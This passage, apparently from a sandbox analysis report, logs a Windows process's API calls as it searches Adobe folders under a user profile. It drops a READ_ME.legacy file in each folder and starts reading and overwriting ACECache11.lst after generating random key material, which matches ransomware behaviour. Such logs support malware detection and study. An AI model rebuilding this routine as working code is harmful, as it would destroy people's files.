| out: hHeap=0x520000) returned 1 [0146.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.171] GetLastError () returned 0x0 [0146.171] SetLastError (dwErrCode=0x0) [0146.171] GetLastError () returned 0x0 [0146.171] SetLastError (dwErrCode=0x0) [0146.171] GetLastError () returned 0x0 [0146.171] SetLastError (dwErrCode=0x0) [0146.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0146.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0146.171] FindNextFileW (in: hFindFile=0x60cb58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18b6d16, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe18b6d16, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe18b6d16, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0146.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5855c8 [0146.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585be0 | out: hHeap=0x520000) returned 1 [0146.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0146.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0146.172] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe199bcf2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c658 [0146.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0146.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0146.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0146.172] GetLastError () returned 0x12 [0146.172] SetLastError (dwErrCode=0x12) [0146.172] GetLastError () returned 0x12 [0146.172] SetLastError (dwErrCode=0x12) [0146.172] GetLastError () returned 0x12 [0146.172] SetLastError (dwErrCode=0x12) [0146.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0146.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0146.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0146.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0146.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c418 [0146.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c418 | out: hHeap=0x520000) returned 1 [0146.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0146.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0146.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0146.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0146.172] FindNextFileW (in: hFindFile=0x60c658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe199bcf2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0146.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0146.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0146.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0146.173] GetLastError () returned 0x12 [0146.173] SetLastError (dwErrCode=0x12) [0146.173] GetLastError () returned 0x12 [0146.173] SetLastError (dwErrCode=0x12) [0146.173] GetLastError () returned 0x12 [0146.173] SetLastError (dwErrCode=0x12) [0146.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0146.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0146.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0146.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0146.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c498 [0146.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c498 | out: hHeap=0x520000) returned 1 [0146.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0146.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0146.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0146.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0146.173] FindNextFileW (in: hFindFile=0x60c658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="DC", cAlternateFileName="")) returned 1 [0146.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0146.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0146.173] GetLastError () returned 0x12 [0146.174] SetLastError (dwErrCode=0x12) [0146.174] GetLastError () returned 0x12 [0146.174] SetLastError (dwErrCode=0x12) [0146.174] GetLastError () returned 0x12 [0146.174] SetLastError (dwErrCode=0x12) [0146.174] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x585700 [0146.174] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610130 [0146.174] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x585b78 [0146.174] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0146.174] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0146.174] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0146.174] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0146.174] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0146.174] GetLastError () returned 0x12 [0146.174] SetLastError (dwErrCode=0x12) [0146.174] GetLastError () returned 0x12 [0146.174] SetLastError (dwErrCode=0x12) [0146.174] GetLastError () returned 0x12 [0146.174] SetLastError (dwErrCode=0x12) [0146.174] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0146.174] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7dc [0146.175] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0146.175] WriteFile (in: hFile=0x7dc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0146.176] CloseHandle (hObject=0x7dc) returned 1 [0146.176] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0146.176] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0146.176] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0146.176] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585b78 | out: hHeap=0x520000) returned 1 [0146.176] FindNextFileW (in: hFindFile=0x60c658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe199bcf2, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe199bcf2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe19c1db1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0146.176] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.176] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0146.176] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.176] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0146.176] GetLastError () returned 0x0 [0146.177] SetLastError (dwErrCode=0x0) [0146.177] GetLastError () returned 0x0 [0146.177] SetLastError (dwErrCode=0x0) [0146.177] GetLastError () returned 0x0 [0146.177] SetLastError (dwErrCode=0x0) [0146.177] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610310 [0146.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610310 | out: hHeap=0x520000) returned 1 [0146.177] FindNextFileW (in: hFindFile=0x60c658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe199bcf2, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe199bcf2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe19c1db1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0146.177] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5859d8 [0146.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5855c8 | out: hHeap=0x520000) returned 1 [0146.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0146.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3c0 | out: hHeap=0x520000) returned 1 [0146.177] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe19c1db1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c498 [0146.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.177] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.177] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0146.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.177] GetLastError () returned 0x12 [0146.177] SetLastError (dwErrCode=0x12) [0146.177] GetLastError () returned 0x12 [0146.177] SetLastError (dwErrCode=0x12) [0146.177] GetLastError () returned 0x12 [0146.177] SetLastError (dwErrCode=0x12) [0146.177] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0146.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d8c8 [0146.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0146.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0146.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c418 [0146.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c418 | out: hHeap=0x520000) returned 1 [0146.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20360 [0146.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20360 | out: hHeap=0x520000) returned 1 [0146.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0146.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0146.178] FindNextFileW (in: hFindFile=0x60c498, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe19c1db1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0146.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0146.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0146.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.178] GetLastError () returned 0x12 [0146.178] SetLastError (dwErrCode=0x12) [0146.178] GetLastError () returned 0x12 [0146.178] SetLastError (dwErrCode=0x12) [0146.178] GetLastError () returned 0x12 [0146.178] SetLastError (dwErrCode=0x12) [0146.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0146.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0146.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0146.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610158 [0146.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c558 [0146.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c558 | out: hHeap=0x520000) returned 1 [0146.179] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0146.179] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0146.179] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610158 | out: hHeap=0x520000) returned 1 [0146.179] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0146.179] FindNextFileW (in: hFindFile=0x60c498, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73de0392, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73e065fe, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0146.179] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0146.179] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0146.179] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.179] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0146.179] GetLastError () returned 0x12 [0146.179] SetLastError (dwErrCode=0x12) [0146.179] GetLastError () returned 0x12 [0146.179] SetLastError (dwErrCode=0x12) [0146.179] GetLastError () returned 0x12 [0146.179] SetLastError (dwErrCode=0x12) [0146.179] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101d0 [0146.179] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101d0 | out: hHeap=0x520000) returned 1 [0146.179] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0146.179] FindNextFileW (in: hFindFile=0x60c498, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Profiles", cAlternateFileName="")) returned 1 [0146.179] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.179] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.179] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.179] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.179] GetLastError () returned 0x12 [0146.179] SetLastError (dwErrCode=0x12) [0146.179] GetLastError () returned 0x12 [0146.179] SetLastError (dwErrCode=0x12) [0146.180] GetLastError () returned 0x12 [0146.180] SetLastError (dwErrCode=0x12) [0146.180] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0146.180] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0146.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0146.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0146.180] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0146.180] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0146.180] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0146.180] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0146.180] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0146.180] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.180] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0146.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.180] GetLastError () returned 0x12 [0146.180] SetLastError (dwErrCode=0x12) [0146.180] GetLastError () returned 0x12 [0146.180] SetLastError (dwErrCode=0x12) [0146.180] GetLastError () returned 0x12 [0146.180] SetLastError (dwErrCode=0x12) [0146.180] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0146.180] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e0 [0146.181] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0146.181] WriteFile (in: hFile=0x7e0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0146.182] CloseHandle (hObject=0x7e0) returned 1 [0146.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0146.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0146.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0146.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0146.182] FindNextFileW (in: hFindFile=0x60c498, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19c1db1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe19c1db1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe19c1db1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0146.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0146.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.183] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0146.183] GetLastError () returned 0x0 [0146.183] SetLastError (dwErrCode=0x0) [0146.183] GetLastError () returned 0x0 [0146.183] SetLastError (dwErrCode=0x0) [0146.183] GetLastError () returned 0x0 [0146.183] SetLastError (dwErrCode=0x0) [0146.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610298 [0146.183] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610298 | out: hHeap=0x520000) returned 1 [0146.183] FindNextFileW (in: hFindFile=0x60c498, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19c1db1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe19c1db1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe19c1db1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0146.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0146.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0146.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0146.183] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0146.183] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0146.183] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst", dwFileAttributes=0x80) returned 1 [0146.184] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0146.184] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b148 [0146.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0146.184] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\acecache11.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e0 [0146.184] GetFileSizeEx (in: hFile=0x7e0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1152) returned 1 [0146.184] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x480) returned 0x583168 [0146.184] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x480) returned 0x614418 [0146.184] ReadFile (in: hFile=0x7e0, lpBuffer=0x583168, nNumberOfBytesToRead=0x480, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583168*, lpNumberOfBytesRead=0x2e1f9bc*=0x480, lpOverlapped=0x0) returned 1 [0146.202] SetFilePointer (in: hFile=0x7e0, lDistanceToMove=-1152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.202] WriteFile (in: hFile=0x7e0, lpBuffer=0x614418*, 